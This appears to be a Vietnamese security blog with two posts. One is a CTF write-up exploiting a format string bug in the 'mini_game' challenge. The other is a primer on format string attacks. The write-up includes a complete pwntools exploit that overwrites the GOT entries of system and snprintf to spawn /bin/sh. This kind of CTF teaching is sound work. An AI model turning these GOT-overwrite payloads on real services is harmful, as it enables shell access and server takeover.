Thứ Bảy, 9 tháng 6, 2018

Format string phần 2 (Writeup a CTF challenge)


Chào ! lại là tôi đây. Bây h tôi sẽ tiếp tực bài FmT hôm trước nhé. Hôm nay sẽ là chữa 1 bài bị lỗi FmT trên trang wargame.vn (1 trang làm CTF của Bkav)
Tên bài là mini_game tác giả là của 1 anh khá đẹp trai dấu tên, tên là Chung sinh năm 96 tại trường DHBKHN.
Về mức độ thì mấy ông yên tâm là cứ thấy FmT là đã cảm giác dễ rồi ý.
Thôi bắt đầu nhé.
Src này
Chạy thử nhé.





Chả có gì đặc biệt ngoài mấy hàm check lung tung cả. chỉ cần theo luồng nhập tên, chọn boss số 2 (Asassins Hunter) chọn “Y” và thế là đến đoạn bị lỗi. đấy là do mình đọc pseudo code trước nên ms biết thôi. Nhưng cái đó k quan trọng nên k nói ở đây. Bây h thì đi sau hơn để xem lỗi.

À =] làm tý demo để cho mấy ông xem nếu khai thác được thì nó sẽ nguy hiểm như thế nào nhé.

Chạy payload “flagminigame.py”


Thấy không. 1 chương trình hoàn toàn bình thường nhưng chỉ vì lỗi ở 1 chỗ duy nhất thôi là hacker có thể gọi tiến trình khác lên và chiến luôn máy của server dịch vụ này.
OK làm tiếp nhé

Vứt vào IDA này


To vãi luôn ý và nhiều hàm linh tinh để làm mất tg của mình nữa. nhưng thứ duy nhất lên được chú ý ở đây là hàm “snprintf” bị tôi bôi đen ở dòng 61 kia kìa.
Snprintf làm gì à ?? nó thuộc họ printf nhưng thay vì in ra màn hình thì nó lại in kết quả vào tham số thứ nhất “byte_602100” nhưng theo bài trước thì nó bị lỗi FmT

Kịch bản là thế nào há. Thì sau 1 hồi suy nghĩ tôi cũng đưa ra 1 kịch bản tấn công tuy hơi dài so với ý của tác giả nhưng thôi tạm chấp nhận vậy.
Tôi nhìn thấy lệnh cuối cùng là gọi đến “system” nhưng tham số đầu vào lại là lệnh “echo See ….” nhưng mà cái vung luu chuoi “echo See your …..” thì dkm nó k có quyền sửa. thế là bí 1 lúc rõ lâu. Thực ra là tại quen đi theo lỗi mòn cũ nên cứ bị trap tại 1 chỗ. Nhìn này.


Thấy không, địa chỉ của “echo See your….” Nó ở vùng .data và không có quyền ghi. Thế là kế hoạch sửa  “echo See your….” Thành “/bin/sh” không thành công.


Sau 1 hồi giải lao chơi các thứ .. thì tôi đã quyết định vào sâu trong system để xem GOT của nó là ntn. Và tôi đã ra 1 thứ mà mãi đến 1 lúc sau tôi mới hiểu là là mình không biết kiến thức này :3 LUL (cơ bản maf k để ý luôn ý) nói ngay bây h đây.



Tôi vào phần GOT(global offset table) của hàm “system” thì thấy khá lạ vì nó chỉ lưu 1 địa chỉ của phần .text (k đổi) trong khi bình thường nó sẽ lưu offset của libc(luôn thay đổi) “DM trước h không để ý luôn. Bây h mói biết =[”
Thế là mình có 1 hương làm mới.

Đầu tiền mình sẽ lưu GOT của system thành địa chỉ của 1 hàm phía trước đây này.


Để làm gì á ? để khi gọi đến system thì thay vì dùng lệnh system(“echo See…”) thì nó sẽ nhảy lên trên chỗ này 


Và nó sẽ biến thành printf(“echo See…”) nghĩa là 1 vòng lặp luôn ý. Và thay đổi GOT của “snprintf” thành Got của system “đoạn không đổi vữa nãy ý” (0x00000000004007b6)
Được rồi. bây h chót lại nhưng thứ sẽ làm nhé
+ viết payload = python để tự động chạy đến đoạn bị lỗi FmT
+ ghi đè địa chỉ 0x602030(địa chỉ của GOT system) = 0x400D5D (tạo vòng lặp)
+ ghi đè địa chỉ 0x602040 (địa chỉ của GOT snprintf) = 0x4007b6 (địa chỉ lưu ở GOT của system)

Thì khi thành công sau khi gọi đến hàm system nó sẽ nhảy đển hàm printf phía trên và sau đó nó sẽ gọi hàm snprintf lần 2. Nhưng lần này snprintf lại bị thay = GOT của system thì nghĩa là nó sẽ gọi đến lệnh system(byte_602100)
Nhưng lúc này byte_602100 đã được ghi từ lần trước. nên bây giờ lần đầu tiên nhảy đến snprintf thì ta phải có “/bin/sh;” ở phía trước để cho lần thứ 2 gọi sẽ là system(“/bin/sh;”)

Note lại mấy cái phải sửa nè
0x602040-> 0x4007b6
0x602030-> 0x400D5D

Đã thấy dối chưa lần đầu tiếp cận tôi cũng như thế đấy :3 nhưng chưa là gì đâu. Tiếp theo nó mới là khó đây này.
Đầu tiên nhé ta phải tách từng byte ra để xem byte nào lưu vào địa chỉ nào ví dụ như để địa chỉ 0x602040 lưu 0x4007b6 thì :


Tại sao lại cần biết cái này à. ờ thì mấy ông nhớ cái %n và mấy cáo offset không? Ý tưởng là các địa chỉ được các offset trỏ tới và “0xb6” là độ dài của đoạn in ra từ trước.(đã ví dụ ở phần 1) thì để ikhai thác bây giờ ta chỉ cần sắp xếp các byte cần truyền vào theo thứ tự từ bé đến lớn là xong. Đó cũng là thứ tự ghi từng offset của chúng ta.
Hơi khó hiểu hả ?? tôi cũng kb giải thích kỹ hơn ntn ngoài sử dụng ví dụ.

Đầu tiên ta tách các byte cần ghi ra và sắp xếp lại từ bé đến lớn nhé


Đầu tiên sẽ là “0x07” thì nghĩa là địa chỉ “snprintf+1” được ghi đầu tiên
Tiếp theo là “0x0d” thì nghĩa là địa chỉ “system+1” được ghi tiếp theo
Tiếp theo là “snprint+2” và “systemm+2” cùng là “0x40”
…… cứ thế đến khi nào hết 6 byte thì thôi.

Thật vậy. đây là đoạn payload của mình. (chỉ cần quan tâm tới dòng cuối thôi nhé. Dòng đầu sẽ nói sau) 


P64 nghĩa là format chuỗi dưới dạng địa chỉ 64 bit
Mấy ông thấy không. Đúng như trình tự tôi vừa nói ở trên.
Tiếp theo tính toán offset và viết mã khai thác. Vì kiến thức hầu như đã đủ nên tôi sẽ giải thích từng đoạn của mã khai thác.

Đầu tiên cũng là quan trọng nhất là dòng số 2:
fmt += cyclic(110-32-6+8-len(fmt))
nó để giới hạn độ dài đoạn phía trước. nghĩa là sau khi kết thúc đoạn này thì độ dài của payload luôn bằng “110-32-6+8=80” để offset (đoạn phía sau) luôn cố định địa chỉ. Để cho dễ dàng trong việc tính offset của dòng 1


vẽ lại cái offset này

 Đến dòng 1 nhé.


“/bin/sh;” là kịch bản ban đầu của chúng ta. Đó là lệnh mà sau khi ta ghi đè xong các vung nhớ thì hệ thống sẽ thực hiện.

“%255c%14$hhn”: in ra 255 kí tự và lưu số kí tự đã in được ( bằng 255+8(độ dài /bin/sh;)) vào offset thứ 14 là địa chỉ đầu tiên tôi vừa phân tích ở trên “snprint+1” dưới dạng byte
Như vừa nãy tôi nói ý thì địa chỉ “snprint+1” cần lưu giá trị là “0x7” nhưng mà vấn đề là đoạn “/bin/sh;” độ dài đã = 8 cmn rồi. nên ta cần  +255 để nó quay lại 7 (vì lưu dạng byte mà 2^8 = 256 )hiểu chưa? Hiểu rồi thì thấy có hay không :3

Tiếp nhé
“%6c%15$hhn”: như trên in ra 6 kí tự và lưu vào offset 15 “systemm+1”, thì địa chỉ này như trên đã phân tích là cần chứa giá trị  “0xd” và vừa nãy đã in ra 0x7 rồi nên bây giờ cần “0xd-0x7=0x6” ks tự nữa. đó là nguyên nhân %6c ở đây hiểu chưa nào

Chưa hiểu thì giải thích nốt 1 cái này nữa thôi nhé.
“%51c%16$n” offset số 16 cần lưu giá trị là “0x40” nên cần in them 51 kí tự nữa (51=0x40-0xd)

à cần chú ý 1 thứ đó là GOT của snprintf ý. Sau khi chạy qua thì chỗ này sẽ lưu địa chỉ của thư viện (libc)



Mình cần ghi vào
 Và nó lớn hơn đoạn mình ghi đè. Thì làm sao à ? nghĩa là ghi đè thành công thi sẽ có 1-2 byte cuối không được ghi và sẽ khiến đoạn của ta bị lỗi. nên ta phải dung kí hiệu %n để ghi và  sẽ  khiến cho 3 byte thừa bên cạnh bằng ‘\x00’ và giúp cho chương trình của chúng ta chạy được.
Tương tự với các offset khác xong.

Đây là flag chuẩn

"flagminigame.py"

from pwn import *


input= 0x0000000000603030
fmtv= 0x000000000602100
'''
callprintf = 0x000000000400D5D
snprintf = 0x000000000400D8F
systemcall= 0x00000000004007b6
0x602030 -> 0x0000400BCF
0x602100

snprint 0x602040
systemm 0x602030


writetosnprint 40 07 b6
writetosystem 40 0D 5D
sắp xếp

'''
snprint = 0x602040
systemm = 0x602030
p = process('./mini-game')
pause()
p.recvuntil('Name of your Hero: ')
p.sendline('1')
p.recvuntil('Your Choice: ')
p.sendline('2')
p.recvuntil('Do you want to share with your friends?(Y/N) ')
p.sendline('Y')
fmt = '/bin/sh;%255c%14$hhn%6c%15$hhn%51c%16$n%17$hhn%29c%18$hhn%89c%19$hhn%74c%20$hhn'
fmt += cyclic(110-32-6+8-len(fmt))
fmt += p64(snprint+1)+p64(systemm+1)+p64(snprint+2)+p64(systemm+2)+p64(systemm)+p64(snprint)+p64(snprint+3)
p.recvuntil('Status: ')
p.sendline(fmt)
p.sendline('1')
p.interactive()

Chủ Nhật, 3 tháng 6, 2018

Tản mạn về lỗi Format String


 Hôm nay tôi sẽ nói với mấy ông về lỗ hổng format string. Đây là bài đầu tiên trong blog nên tôi sẽ viết một bài khá đơn giản. Tôi cũng không chắc chắn tất cả xưới đây là đúng. Chỉ là những gì tôi hiểu về kiến thức này và tôi sẽ nói hết với mấy ông.

Lỗi Fmt xuất hiện khi ở các họ printf. Nếu như ta truyền trực tiếp địa chỉ của biến vào hàm printf thay vì truyền định dạng+ địa chỉ thì chương trình của ta sẽ bị lỗi Fmt.

Tác hại của nó ntn à. Hacker có thể thay đổi code của trương trình và có thể nhảy tới các hàm mà hacker muôn nếu có thể. Nguy hiểm hơn là có thể chiếm quyền điều khiển máy có dịch vụ bị lỗi FmT

Làm tý ví dụ nhé :3


Code chương trình
Đây là khi thực thi
Nó đã leak ra 1 số địa chỉ rồi kìa LUL
Vậy %p là gì ??
Nôm na là kiểm định dạng dữ liệu đầu ra của C.(đọc thêm ở đây: http://www.cplusplus.com/reference/cstdio/printf/ )
Nhưng theo tôi thì chỉ nên chú ý tới 3 thứ đó là:
%p: con trỏ địa chỉ
$: offset
%n: in ra số kí tự đã xuất ra từ trước tới giờ. Và thật chùng hợp là nó lại lưu kết quả lại offset mà $ trỏ tới.

Giới thiệu thế thôi. Debug nào. Mình dùng GDB.
Tôi compile file dạng 64bit nên các tham số truyền vào khi gọi lệnh call là trên thanh ghi. (tham khảo ở đây http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

Break tại hàm printf


Bây giờ đến đoạn sử dụng mấy cái % kia này.
Giả sử tôi chuyền vào “%1$p” tham số đầu tiên là RDI thì RDi sẽ lưu ‘%1$p’ như hình ở trên.
Tiếp theo đến phần offset thì 1$ nghĩa là offset thứ nhất kể từ RDI đi. Và theo bảng thì nó chính là RSI. Và cuối cùng là “p” nghĩa là xuất đầu ra dưới dạng 1 con trỏ. Vậy sau khi truyền vào “%1$p” thì chương trình sẽ in ra địa chỉ mà thanh ghi RSI lúc đó.

Nhưng vấn đề là thì sao ??
Sau khi offset chỏ hết các thanh ghi. Thì nó sẽ bắt đầu quay về stack. Để đơn gian thì tôi sẽ giải thích bằng ví dụ.
Mấy ông có thấy trên kia là trên kia có 5 thanh ghi không. Bây giờ tôi sẽ tang giá trị offset lên là 7 xem nó trả về gì nhé.

Thấy không nó trỏ đến đầu của đoạn mình nhập vào rồi. nhưng mà sao ta lại muốn xem thứ mình đã nhập vào làm gì @@
Thì câu trả lời là %n: như đã giải thích ở trên (in ra số kí tự đã xuất ra từ trước tới giờ. Và thật chùng hợp là nó lại lưu kết quả lại offset mà $ trỏ tới.) thì nghĩa là nếu thứ mà offset trở tới là 1 địa chỉ thay vì ‘’ 0x6161616162626262” thì ta có thể sửa giá trị ở địa chỉ đó bằng độ dài đoạn đã in từ trước đến %n
Khó hiểu nhỉ. Thử tiếp này.
Dùng python để truyền địa chỉ vào.

%9c là để in ra 1 đoạn độ dài = 9. Kết hợp với %n và trỏ tớ offset thứ 7 là địa chỉ “0x00601000” thì nghĩa là nó sẽ ghi 9 vào địa chỉ đó thỉ nhé.

Thì đây là kết quả sau khi chạy xong

Thấy hay chưa :3 nghĩa là từ cái này, mấy ông có thể sửa trực tiếp địa chỉ chương trình các vùng có quyền ghi. Thì có thể điều khiên chương trình theo ý muốn của mình rồi.
Ý tưởng là mình sẽ ghi đè vào bang GOT (tham khảo ở đây https://en.wikipedia.org/wiki/Global_Offset_Table)
Nôm na là 1 cái bảng chưa những địa chỉ mà khi dùng lệnh call nó sẽ nhảy vào địa chỉ đó.
Ví dụ của printf nhé
Nó call đến 0x400470

và nó lại nhảy đến 0x601018 (đây là bảng GOT)

Nếu như ghi đè vào đây thì khi gọi đến printf thì chương trình sẽ nhảy đến 1 chỗ khác thay vì 0x400476
Thử luôn nhé.
Tôi thử với got của hàm exit 0x601030

Kết quả:

Chương trình bị lỗi do nó nhảy đến GOT của exit và ở đây chỉ lưu giá trị 0x9

Xong kiến thức cơ bản của FmT. Bài tiếp theo sẽ là sriteup của 1 bài CTF có lỗi này. Bye!